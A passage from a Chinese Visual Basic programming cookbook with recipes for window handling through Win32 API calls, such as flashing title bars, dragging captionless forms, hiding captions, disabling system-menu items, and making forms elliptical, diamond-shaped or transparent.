    For lc1 = 0 To m_lWndCount                                    '检查所有的窗体
        If (m_uWndInfo(lc1).hWnd <> hWnd) Then                        '如果不是当前的窗体
            '如果不是子窗体
            If (m_uWndInfo(lc1).Glue = False Or m_uWndInfo(lc1).hWndParent <> hWnd) Then 
                With m_rcWnd(lc1)                                '对m_rcWnd(lc1)执行语句
'***********************************X轴方向粘合（开始）**********************************
                    If (rcWnd.Y1 < .Y2 + m_lSnapWidth And rcWnd.Y2 > .Y1 - _
                       m_lSnapWidth) Then
                        Select Case True
                        Case Abs(rcWnd.X1 - .X1) < m_lSnapWidth: lOffx = .X1 - rcWnd.X1
                        Case Abs(rcWnd.X1 - .X2) < m_lSnapWidth: lOffx = .X2 - rcWnd.X1
                        Case Abs(rcWnd.X2 - .X1) < m_lSnapWidth: lOffx = .X1 - rcWnd.X2
                        Case Abs(rcWnd.X2 - .X2) < m_lSnapWidth: lOffx = .X2 - rcWnd.X2
                        End Select
                    End If
'***********************************X轴方向粘合（结束）**********************************
'***********************************Y轴方向粘合（开始）**********************************
                    If (rcWnd.X1 < .X2 + m_lSnapWidth And rcWnd.X2 > .X1 - _
                       m_lSnapWidth) Then
                        Select Case True
                        Case Abs(rcWnd.Y1 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcWnd.Y1
                        Case Abs(rcWnd.Y1 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcWnd.Y1
                        Case Abs(rcWnd.Y2 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcWnd.Y2
                        Case Abs(rcWnd.Y2 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcWnd.Y2
                        End Select
                    End If
'***********************************Y轴方向粘合（结束）**********************************
                End With
            End If
        End If
    Next lc1
    
    '检查子窗体的粘合性
    For lc1 = 1 To m_lWndCount                                        '循环
        '如果子窗体连接其他窗体
        If (m_uWndInfo(lc1).Glue And m_uWndInfo(lc1).hWndParent = hWnd) Then 
            '移动子窗体
            Call CopyMemory(rcTmp, m_rcWnd(lc1), LB_RECT)
            Call OffsetRect(rcTmp, m_ptCurr.X1 - m_ptAnchor.X1, 0)
            Call OffsetRect(rcTmp, 0, m_ptCurr.Y1 - m_ptAnchor.Y1)
            For lc2 = 0 To m_lWndCount                                '循环
                If (lc1 <> lc2) Then                                    '如果不相等
                    If (m_uWndInfo(lc2).Glue = False And _
                       m_uWndInfo(lc2).hWnd <> hWnd) Then                '如果不是子窗体
                        With m_rcWnd(lc2)                            '对m_rcWnd(lc2)执行语句
'***********************************X轴方向粘合（开始）**********************************
                            If (rcTmp.Y1 < .Y2 + m_lSnapWidth And _
                               rcTmp.Y2 > .Y1 - m_lSnapWidth) Then
                                Select Case True
                                Case Abs(rcTmp.X1 - .X1) < m_lSnapWidth: lOffx = .X1 - rcTmp.X1
                                Case Abs(rcTmp.X1 - .X2) < m_lSnapWidth: lOffx = .X2 - rcTmp.X1
                                Case Abs(rcTmp.X2 - .X1) < m_lSnapWidth: lOffx = .X1 - rcTmp.X2
                                Case Abs(rcTmp.X2 - .X2) < m_lSnapWidth: lOffx = .X2 - rcTmp.X2
                                End Select
                            End If
'***********************************X轴方向粘合（结束）**********************************
                            
'***********************************Y轴方向粘合（开始）**********************************
                            If (rcTmp.X1 < .X2 + m_lSnapWidth And _
                               rcTmp.X2 > .X1 - m_lSnapWidth) Then
                                Select Case True
                                Case Abs(rcTmp.Y1 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcTmp.Y1
                                Case Abs(rcTmp.Y1 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcTmp.Y1
                                Case Abs(rcTmp.Y2 - .Y1) < m_lSnapWidth: lOffy = .Y1 - rcTmp.Y2
                                Case Abs(rcTmp.Y2 - .Y2) < m_lSnapWidth: lOffy = .Y2 - rcTmp.Y2
                                End Select
                            End If
'***********************************Y轴方向粘合（结束）**********************************
                        End With
                    End If
                End If
            Next lc2
        End If
    Next lc1
    
    Call OffsetRect(rcWnd, lOffx, lOffy)                                    '偏移
    
    '将窗体粘合，子窗体连接的任何窗体都粘合上
    hDWP = BeginDeferWindowPos(1)                                    '给变量赋值
    For lc1 = 1 To m_lWndCount                                        '循环
        With m_uWndInfo(lc1)                                        '对m_uWndInfo(lc1)执行语句
            If (.hWndParent = hWnd And .Glue) Then                        '如果父窗体是当前的窗体
                lWId = pvWndGetInfoIndex(hWnd)                        '移动子窗体
                With m_rcWnd(lc1)
                    Call DeferWindowPos(hDWP, m_uWndInfo(lc1).hWnd, 0, .X1 - _
                         (m_rcWnd(lWId).X1 - rcWnd.X1), .Y1 - (m_rcWnd(lWId).Y1 - rcWnd.Y1), _
                         0, 0, SWP_NOACTIVATE Or SWP_NOSIZE Or SWP_NOZORDER)
                End With
            End If
        End With
    Next lc1
   
    Call EndDeferWindowPos(hDWP)
    m_ptLast = m_ptCurr                                            '存储鼠标的最后位置
End Sub




秘笈心法

心法领悟244：清除窗体或控件中的图片。

在窗体或控件中显示图片可以通过设置Picture属性实现，但是在程序运行时如何清除窗体或控件中的图片呢？

解决上述问题可以使用LoadPicture函数，该函数可以将图片载入到窗体、PictureBox控件或Image控件。

LoadPicture函数包括几个参数，通过设置这些参数可以将不同的图片加载到窗体或控件中，如果不指定参数，则可以实现动态清除窗体或控件中图片的功能，例如下面的代码：



Me.Picture = LoadPicture()





 8.4　窗体标题栏应用实例



 实例245　闪烁的窗体标题栏

光盘位置：光盘\MR\08\245

中级

趣味指数：[image: ]




实例说明

当用户运行多个程序，并将所有程序最小化放在任务栏上时，为了突出显示自己开发的程序，可以设置程序窗体的标题栏闪烁，以提醒用户，使用户更多地关注自己的程序。

运行程序，当用户将程序窗体最小化时标题栏开始闪烁，而且标题栏文字不停变换；当用户将程序窗体最大化或正常显示时，标题栏和标题栏上的文字将停止闪烁，其结果如图8.22所示。

[image: ]
图8.22　闪烁的窗体标题栏窗体界面



关键技术

使用FlashWindow函数，可以使一个特定的窗口闪烁一次；在Timer事件过程中可以使窗口标题栏达到不停闪烁的效果，语法如下：



FlashWindow(Byval hwnd as long, Byval bInvert as long ) as long




参数说明

❶ hwnd：为窗口句柄。

❷ bInvert：为0，窗体标题栏不闪烁；为1，窗体标题栏闪烁。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加一个Timer控件，默认的“名称”属性为Timer1。Timer控件用于控制标题栏的不停闪烁。

（3）主要程序代码如下：



Private Sub Form_Resize()
    If WindowState = 1 Then
        Timer1.Enabled = True
    Else
        Timer1.Enabled = False
    End If
End Sub
Private Sub Timer1_Timer()
    Call FlashWindow(hwnd, 1)
    If Me.Caption = "吉林省明日科技有限公司  www.mingrisoft.com" Then
        Me.Caption = "欢迎使用明日财务管理软件! "
    Else
        Me.Caption = "吉林省明日科技有限公司  www.mingrisoft.com"
    End If
End Sub




秘笈心法

心法领悟245：窗体颜色设置技巧。

在界面上使用颜色可以增加视觉上的感染力，但不能滥用。不要大面积使用过于亮丽的颜色，最好采用保守传统的、比较柔和的、更中性化的颜色。少量明亮的色彩可用于比较重要的控件（如命令按钮）。



 实例246　拖动没有标题栏的窗体

光盘位置：光盘\MR\08\246

中级

趣味指数：[image: ]




实例说明

在开发程序的过程中，图形化的窗体（一般没有标题栏）固然很吸引用户的眼球，但往往会因为这种窗体无法使用户拖动而放弃设计这种窗体的可能，本实例实现拖动没有标题栏的窗体。运行程序，用户可以随意拖动窗体，其结果如图8.23所示。

[image: ]
图8.23　拖动没有标题栏窗体程序界面



关键技术

本实例主要使用了API函数SendMessage和ReleaseCapture。其中SendMessage函数可以将指定的消息发送到一个或多个窗口。该函数对指定的窗口调用窗口程序，直到窗口程序处理完消息后返回；ReleaseCapture函数用于释放当前进程中窗口的鼠标捕获，并恢复正常的鼠标输入处理。在该窗口中，鼠标可以接收任何输入（无论鼠标光标位于窗口的什么位置，当然不能在另一个进程的窗口中）。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1，设置窗体的BorderStyle属性值为0-None，使其不显示标题栏。

（2）设置窗体的Picture属性为窗体添加一幅图片。

（3）主要程序代码如下：



'声明API函数
Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const HTCAPTION = 2
Const WM_NCLBUTTONDOWN = &HA1
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim r As Long
    Dim i
    If Button = 1 Then
        i = ReleaseCapture()
        r = SendMessage(hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0)
    End If
End Sub




秘笈心法

心法领悟246：显示模态窗体。

使用Show调用一个窗体时，当设置其模式为1时，窗体是模态的，如下所示：



Form1.Show 1




当模式值为1时，鼠标只在该窗体内起作用，不能到其他窗体操作，只有关闭该窗体后才能对其他窗体操作；当模式值为0时，可以对其他窗体进行操作。



 实例247　禁用窗体最大化、最小化或关闭快捷菜单

光盘位置：光盘\MR\08\247

初级

趣味指数：[image: ]




实例说明

在每个窗体的标题栏上单击鼠标右键就会弹出包含“关闭”、“最大化”、“最小化”命令的快捷菜单。如果需要保持窗体的状态，即不使窗体最大化、最小化或关闭，则可以使用本实例屏蔽这3个菜单项。运行程序，结果如图8.24所示。

[image: ]
图8.24　禁用最大化、最小化和关闭



关键技术

使用API函数GetSystemMenu和RemoveMenu，可以使窗体的“最大化”、“最小化”和“关闭”按钮失效。

（1）GetSystemMenu函数

该函数用于取得指定窗口的系统菜单的句柄。在VB环境，“系统菜单”的正式名称为“控制菜单”，即单击窗口左上角的控制框时出现的菜单，语法如下：



Public Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long




参数说明

❶ hwnd：Long，窗口的句柄。

❷ bRevert：Long，如果是True，表示接收原始的系统菜单。

返回值：Long，如执行成功，返回系统菜单的句柄；零意味着出错。如果bRevert设为True，也会返回零（简单的恢复原始的系统菜单）。

（2）RemoveMenu函数

该函数用于从指定菜单删除一个菜单项或分离一个子菜单，语法如下：



Private Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long,ByVal nPosition As Long, ByVal wFlags As Long) As Long




参数说明

❶ hMenu：指定被修改的菜单的句柄。

❷ nPosition：指定要删除的菜单项。

❸ wFlags：指定对参数nPosition的含义进行解释。此参数必为下列值之一：MF_BYCOMMAND表示nPosition给出菜单项的表示符（默认）；MF_BYPSITION表示nPosition给出菜单项相对于0的位置。

返回值：函数调用成功，返回非0值；否则返回0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）设置Form1窗体的Picture属性。

（3）主要程序代码如下：



'API函数声明
Private Declare Function GetSystemMenu Lib "user32" (ByVal hWnd As Long, _
    ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, _
    ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Const MF_REMOVE = &H1000&
Private Const SC_COLSE = &HF060
Private Const SC_MAXIMIZE = &HF030
Private Const SC_MINIMIZE = &HF020
Private Sub Form_Load()
    RemoveMenu GetSystemMenu(Me.hWnd, 0), SC_COLSE, MF_REMOVE
    RemoveMenu GetSystemMenu(Me.hWnd, 0), SC_MAXIMIZE, MF_REMOVE
    RemoveMenu GetSystemMenu(Me.hWnd, 0), SC_MINIMIZE, MF_REMOVE
End Sub




秘笈心法

心法领悟247：禁用“关闭”按钮。

使用本程序中的方法不仅可以使弹出菜单中的关闭项去掉，同时还可以禁用窗体标题栏中的“关闭”按钮。在系统任务栏的弹出菜单中也将移除的菜单项进行移除。



 实例248　使窗体标题栏不响应鼠标双击

光盘位置：光盘\MR\08\248

中级

趣味指数：[image: ]




实例说明

大多数窗体在用鼠标双击窗体标题栏时都能够切换窗体最大化或还原状态。本实例实现使窗体标题栏不响应鼠标双击事件，程序的运行界面如图8.25所示。

[image: ]
图8.25　窗体标题栏不响应鼠标双击



关键技术

使用API函数SetWindowLong和CallWindowProc，可以实现让窗体标题栏不响应鼠标双击事件。

（1）SetWindowLong函数

该函数用于在窗口结构中为指定的窗口设置信息，语法如下：



Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long




参数说明

❶ hWnd：Long，欲为其取得信息的窗口的句柄。

❷ nIndex：Long，请参考GetWindowLong函数的nIndex参数的说明。

❸ dwNewLong：Long，由nIndex指定的窗口信息的新值。

返回值：Long，指定数据的前一个值。

（2）CallWindowProc函数

该函数用于将消息传达窗口函数，语法如下：



Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg
As Long, ByVal wParam As Long, ByVal lParam As Long) As Long




参数说明如表8.8所示。

表8.8　CallWindowProc函数的参数说明



	参 数
	说明



	lpPrevWndFunc
	指向前一个窗口过程的指针。如果该值是通过调用GetWindowLong函数，并将该函数中的nIndex参数设为GWL_WNDPROC或DWL_DLGPROC而得到的，那么它实际上要么是窗口或者对话框的地址，要么就是代表该地址的句柄



	hWnd
	指向接收消息的窗口过程的句柄



	Msg
	指定消息类型



	wParam
	指定其余的、消息特定的信息。该参数的内容与Msg参数值有关



	lParam
	指定其余的、消息特定的信息。该参数的内容与Msg参数值有关




返回值：指定了消息处理结果，它与发送的消息有关。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）添加一个公共模块。

（3）公共模块中添加下列代码创建Init自定义过程实现让窗体不响应鼠标双击事件，创建自定义过程实现在退出时还原设置，程序代码如下：



Option Explicit
Private Declare Function SetWindowLong Lib "user32" Alias _
        "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex _
        As Long, ByVal dwNewLong As Long) As Long
        
Private Declare Function CallWindowProc Lib "user32" Alias _
        "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal _
        hWnd As Long, ByVal Msg As Long, ByVal wParam As _
        Long, ByVal lParam As Long) As Long
        
Const GWL_WNDPROC = (-4&)
Dim PrevWndProc&
Const WM_NCLBUTTONDBLCLK = &HA3
Public Sub Init(hWnd As Long)
    PrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf SubWndProc)
End Sub
Public Sub Terminate(hWnd As Long)
    Call SetWindowLong(hWnd, GWL_WNDPROC, PrevWndProc)
End Sub
Private Function SubWndProc(ByVal hWnd As Long, ByVal Msg As Long, _
                            ByVal wParam As Long, ByVal lParam As Long) _
                            As Long
    If Msg = WM_NCLBUTTONDBLCLK Then
        Exit Function
    End If
    SubWndProc = CallWindowProc(PrevWndProc, hWnd, Msg, wParam, lParam)
End Function




在窗体加载事件中调用Init自定义过程，实现让窗体标题栏不响应鼠标双击。在退出程序时调用Terminate自定义过程，程序代码如下：



Private Sub Form_Load()
  Call Init(Me.hWnd)
End Sub
Private Sub Form_Unload(Cancel As Integer)
  Call Terminate(Me.hWnd)
End Sub




秘笈心法

心法领悟248：使用End语句结束程序。

End语句不调用Unload、QueryUnload或Terminate事件或任何其他Visual Basic代码，只是生硬地终止代码执行。窗体和类模块中的Unload、QueryUnload和Terminate事件代码未被执行。类模块创建的对象被破坏，由Open语句打开的文件被关闭，并且释放程序所占用的内存。其他程序的对象引用无效。

End语句提供了一种强迫中止程序的方法。Visual Basic程序正常结束应该卸载所有的窗体。只要没有其他程序引用该程序公共类模块创建的对象并无代码执行，程序将立即关闭。



 实例249　程序运行时隐藏标题栏

光盘位置：光盘\MR\08\249

初级

趣味指数：[image: ]




实例说明

在设计窗体样式时，可以通过设置窗体的BorderStyle属性来隐藏程序的标题栏。但是，如果希望能够使程序在运行时隐藏其标题栏，是无法通过设置BorderStyle属性实现的。本实例通过使用API函数实现在程序运行时控制标题栏的隐藏和退出，程序的运行效果如图8.26所示。

[image: ]
图8.26　程序运行时隐藏和显示标题栏



关键技术

这里仍然是使用API函数SetWindowLong和CallWindowProc实现运行时隐藏和显示窗体标题栏。可见这两个API函数在进行窗体处理操作时是很有用的。前面已经对这两个函数进行了介绍，这里不再赘述。

首先使用API函数GetWindowLong获取当前窗口的样式，然后使用API函数SetWindowLong设置新的窗口样式。当需要显示标题栏时，将原代表窗口样式的数值与常数WS_CAPTION进行或运算；当需要隐藏标题栏时，将原代表窗口样式的数值与常数GWL_STYLE的非值进行与运算。

本实例同时也应用了API函数SetWindowPos，它也起到了非常关键的作用，因为不使用它则无法恢复标题栏的显示。

API函数SetWindowPos用于指定窗口的一个新位置或状态。在上面代码中只用了4个常数，它们各自的意义如下。


	SWP_FRAMECHANGED：强迫一条WM_NCCALCSIZE消息进入窗口，即使窗口的大小没有改变。

	SWP_NOMOVE：保持当前位置。

	SWP_NOZORDER：保持窗口在列表的当前位置。

	SWP_NOSIZE：保持当前大小。



隐藏标题栏，关键代码如下：



HideTitleBar Me, True




显示标题栏，关键代码如下：



HideTitleBar Me, False





说明：
 常数WS_CAPTION含义：创建一个具有标题栏的窗口。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加两个CommandButton控件，分别设置Caption属性为“隐藏”和“显示”。

（3）添加一个公共模块。

（4）公共模块中添加下列代码创建HideTitleBar自定义过程实现隐藏和显示窗体标题栏，程序代码如下：



Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const WS_CAPTION = &HC00000
Public Const GWL_STYLE = (-16)
Public Const SWP_FRAMECHANGED = &H20
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOZORDER = &H4
Public Const SWP_NOSIZE = &H1
Public Sub HideTitleBar(f As Form, ShowTitle As Boolean)
    Dim style As Long
    style = GetWindowLong(f.hwnd, GWL_STYLE)
    If ShowTitle Then
        style = style Or WS_CAPTION
    Else
        style = style And Not WS_CAPTION
    End If
    SetWindowLong f.hwnd, GWL_STYLE, style
    SetWindowPos f.hwnd, 0, 0, 0, 0, 0, SWP_FRAMECHANGED Or _
                 SWP_NOMOVE Or SWP_NOZORDER Or SWP_NOSIZE
End Sub




在窗体加载事件中调用HideTitleBar自定义过程，程序代码如下：



Private Sub Command1_Click()
    HideTitleBar Me, False            '隐藏标题栏
End Sub
    
Private Sub Command2_Click()
    HideTitleBar Me, True                '显示标题栏
End Sub




秘笈心法

心法领悟249：使用窗体模板。

设计VB的窗体模板可以将窗体文件复制到VB\Template\Forms目录下，这样每次在工程中添加窗体时，对话框中将出现这个窗体模板。窗体上的控件和代码都会复制到新的工程中。通过窗体模板可以简化编程。但是这种模板不是通过继承实现的，因为修改模板不会使所有调用模板的程序发生变化。


 8.5　窗体形状及应用



 实例250　椭圆形窗体界面

光盘位置：光盘\MR\08\250

中级

趣味指数：[image: ]




实例说明

个性的窗体形状可以增加程序的趣味性，可以使程序更具吸引力。见惯了方方正正的矩形窗体，椭圆形的窗体更会使用户眼前一亮。本实例设计一个椭圆形的窗体。运行程序，窗体为椭圆形，如图8.27所示。单击窗体即可退出程序。

[image: ]
图8.27　椭圆形窗体



关键技术

用API函数中的区域创建函数，可以制作出各种各样奇形怪异的窗体。运用CreateEllipticRgn函数，可以创建一个椭圆或圆形窗体。下面是几种区域函数的功能。


	CreateEllipticRgn函数：创建一个椭圆或圆形区域。

	CreatePolygonRgn函数：创建一个多边形区域。

	CreateRoundRectRgn函数：创建一个圆角矩形区域。

	CombineRgnS函数：将两个区域组合为一个新的区域。

	SetWindowRgn函数：设置新的窗口区域。



（1）CreateEllipticRgn函数

创建一个椭圆或圆形区域，语法如下：



Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long,ByVal X2 As Long, ByVal Y2 As Long) As Long




参数：X1定义区域左上角的X坐标，Y1定义区域左上角的Y坐标，X2定义区域右下角的X坐标，Y2定义区域右下角的Y坐标。

返回值：如果函数调用成功，则返回所建立的区域的句柄；否则返回Null。

（2）SetWindowRgn函数

SetWindowRgn函数用于改变窗口的区域。通常所有窗口都是矩形的——窗口一旦存在就含有一个矩形区域。本函数允许放弃该区域。这意味着可以创建圆的、星形的窗口，也可以将它分为两个或更多部分——实际上可以是任何形状。为区域指定的所有坐标都以窗口坐标（不是客户坐标）表示，它们以整个窗口（包括标题栏和边框）的左上角为起点。此函数声明语句如下：



Public Declare Function SetWindowRgn Lib "user32" Alias "SetWindowRgn" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long




参数说明

❶ hWnd：Long，将设置其区域的窗口。

❷ hRgn：Long，将设置的区域的句柄，一旦设置了该区域，就不能使用或修改该区域句柄，也不要删除它。

❸ bRedraw：Boolean，若为True，则立即重画窗口。

返回值：Long，执行成功为非0值，失败为0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）设置Form1窗体的Picture属性。

（3）主要程序代码如下：



'函数声明
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long
Private Sub Form_Load()
    Dim a, b As Long
    Dim w, h As Long
    w = Form1.Width / Screen.TwipsPerPixelX
    h = Form1.Height / Screen.TwipsPerPixelY
    a = CreateEllipticRgn(0, 0, w, h)
    b = SetWindowRgn(Me.hWnd, a, True)              '设置椭圆形窗体
End Sub




秘笈心法

心法领悟250：SetWindowRgn函数设置窗口形状。

SetWindowRgn函数是API函数中的一个。本函数允许改变窗口的区域。

通常所有窗口都是矩形的——窗口一旦存在就含有一个矩形区域。本函数允许用户放弃该区域。这意味着用户可以创建圆的、星形的窗口，也可以将它分为两个或许多部分——实际上可以是任何形状。为区域指定的所有坐标都以窗口坐标（不是客户坐标）表示，它们以整个窗口（包括标题栏和边框）的左上角为起点。



 实例251　钻石形窗体

光盘位置：光盘\MR\08\251

中级

趣味指数：[image: ]




实例说明

设置个性形状的窗体可以增加程序的趣味性，本实例实现显示钻石形窗体。运行程序后显示窗体界面，程序的运行效果如图8.28所示。

[image: ]
图8.28　钻石形窗体



关键技术

本实例首先使用CreatePolygonRgn函数在窗体上绘制钻石形状，然后使用SetWindowRgn函数创建钻石形状的窗体。

CreatePolygonRgn函数能够创建一个由一系列点围成的区域。Windows在需要时自动将最后点与第一点相连以封闭多边形，语法如下：



Private Declare Function CreatePolygonRgn Lib "gdi32" (lpPoint As POINTAPI, ByVal nCount As Long, ByVal nPolyFillMode As Long) As Long




参数说明

❶ lpPoint：POINTAPI，nCount个POINTAPI结构中的第一个POINTAPI结构。

❷ nCount：Long，多边形的点数。

❸ nPolyFillMode：Long，描述多边形填充模式。可为ALTERNATE或WINDING常数。参考SetPolyFill Mode函数对多边形填充模式的解释。

返回值：Long，执行成功为创建的区域句柄，失败则为0。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）设置Form1窗体的Picture属性。

（3）主要程序代码如下：



'函数声明
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, _
    ByVal hRgn As Long, ByVal bRedraw As Long) As Long
Private Declare Function CreatePolygonRgn Lib "gdi32" (lpPoint As POINTAPI, ByVal nCount As Long, ByVal nPolyFillMode As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Type POINTAPI
    X As Long
    Y As Long
End Type
Private Sub Form_Load()
    Dim Rgn(4) As POINTAPI
    On Error Resume Next
'设置各顶点坐标
    Rgn(0).X = 0:        Rgn(0).Y = 200
    Rgn(1).X = 300:      Rgn(1).Y = 0
    Rgn(2).X = 600:      Rgn(2).Y = 200
    Rgn(3).X = 300:      Rgn(3).Y = 400
    er = SetWindowRgn(Me.hwnd, CreatePolygonRgn(Rgn(0), 4, 1), True)            '创建钻石形窗体
End Sub
Private Sub Form_DblClick()
    DeleteObject Me.hwnd                                        '删除创建的区域
    End
End Sub




秘笈心法

心法领悟251：DeleteObject函数删除创建的区域。

本实例中创建的区域不使用时要用DeleteObject函数删除该区域，以节省系统资源。



 实例252　创建透明窗体

光盘位置：光盘\MR\08\252

中级

趣味指数：[image: ]




实例说明

[image: ]
图8.29　透明窗体



为了让用户在操作程序的同时能看到窗体后面的Windows界面或其他程序，可以编写一个透明窗体程序。例如，本例的透明图标程序，标题栏和窗体的其他部分都隐藏了，只剩下窗体图标透明地显示到桌面上，如图8.29所示。

关键技术

使用API函数中的CreateCompatibleBitmap函数和SelectObject函数可以实现窗体透明。

（1）CreateCompatibleBitmap函数

该函数用于建立与指定的设备环境相关的设备兼容的位图，语法如下：



Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long,ByVal nWidth As Long, ByVal nHeight As Long) As Long




参数说明如表8.9所示。

表8.9　CreateCompatibleBitmap函数的参数说明



	参 数
	类 型
	说明



	hdc
	Long
	设备场景的句柄



	nWidth
	Long
	位图宽度，以像素为单位



	nHeight
	Long
	位图高度，以像素为单位




返回值：函数调用成功，返回位图句柄，否则返回值为Null。

（2）SelectObject函数

该函数用于选择对象到指定设备环境，语法如下：



Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long




参数说明

❶ hdc：指定设备环境句柄。

❷ hObject：被选择的对象的句柄。

返回值：如果对象不是区域并且函数调用成功，返回被替代对象的句柄。如果对象是区域并且函数调用成功，返回下面3个值。



SIMPLEREGION：         区域由单个矩形组成。
COMPLEXREGION：       区域由多个矩形组成。
NULLREGION：           区域为空。




如果发生错误且选择对象不是一个区域，返回Null，否则返回GDI_ERROR。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在窗体上添加一个Image控件，设置其Picture属性，为其添加一幅GIF格式的图片。

（3）主要程序代码如下：



Option Explicit
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, _
    ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, _
    ByVal hObject As Long) As Long
    
Private Sub Form_Load()
    Dim Bitmap
    Me.AutoRedraw = True
    Bitmap = CreateCompatibleBitmap(Me.hdc, 0, 0)
    SelectObject Me.hdc, Bitmap   '设置窗体透明
End Sub




秘笈心法

心法领悟252：使用CreateCompatibleBitmap函数创建兼容位图。

内存设备场景即与彩色位图兼容，也与单色位图兼容。这个函数的作用是创建一幅与当前选入hdc中的场景兼容。对一个内存场景来说，默认的位图是单色的。倘若内存设备场景有一个DIBSection选入其中，这个函数就会返回DIBSection的一个句柄。例如，hdc是一幅设备位图，那么结果生成的位图就肯定兼容于设备（也就是说，彩色设备生成的肯定是彩色位图）。

如果nWidth和nHeight为零，返回的位图就是一个1×1的单色位图。



 实例253　设置窗体透明度

光盘位置：光盘\MR\08\253

中级

趣味指数：[image: ]




实例说明

一些应用程序的窗体设置成透明或者半透明状态，来增加窗体的实用性和趣味性。这里设计一个能够设置窗体透明度的程序。程序运行后，拖动窗体上的滑块，窗体透明度随着滑块的移动而改变，程序的运行效果如图8.30所示。

[image: ]
图8.30　设置窗体透明度



关键技术

创建透明窗体主要使用API函数SetLayeredWindowAttributes实现。设置透明窗体的API函数SetLayered WindowAttributes声明代码如下：



Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long




SetLayeredWindowAttributes函数的参数说明如表8.10所示。

表8.10　SetLayeredWindowAttributes函数的参数说明



	参数
	说明



	hwnd
	透明窗体的句柄



	crKey
	为颜色值



	bAlpha
	透明度，取值范围是[0,255]



	dwFlags
	透明方式，可以取两个值：当取值为LWA_ALPHA时，crKey参数无效，bAlpha参数有效；当取值为LWA_COLORKEY时，bAlpha参数有效而窗体中的所有颜色为crKey的地方将变为透明




设计过程

（1）创建VB工程，将窗体Caption属性设置为“设置窗体透明度”。

（2）在窗体上添加一个Slider控件，Slider控件属于ActiveX控件，在添加前要先将其添加到工具箱中。添加方法为：选择“工程”/“部件”命令，打开“部件”对话框。在对话框列表中选中Microsoft Windows Common Control 6.0复选框。单击“确定”按钮，将该控件添加到工具箱中。将Slider控件添加到窗体上后，将其Max属性值设置为100。

（3）在窗体上添加一个CommandButton控件，将该控件的Caption属性设置为“退出”。

（4）在窗体加载事件中将Slider的Value属性设置为100，这样在程序运行后，滑块显示在最右端，也就是最大值位置处。在Slider控件的单击事件中调用Transparence过程实现设置窗体透明度，程序代码如下：



Private Sub Form_Load()
    Slider1.Value = 100
End Sub
   
Private Sub Slider1_Click()
    Dim trs As New trans
    transparence Me, Slider1.Value, False
End Sub




在标准模块中创建自定义过程transparence实现窗体的透明度设置，程序代码如下：



Public Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" ( _
                        ByVal hwnd As Long, _
                        ByVal nIndex As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" ( _
                        ByVal hwnd As Long, _
                        ByVal nIndex As Long, _
                        ByVal dwNewLong As Long) As Long
Public Const GWL_EXSTYLE = (-20)
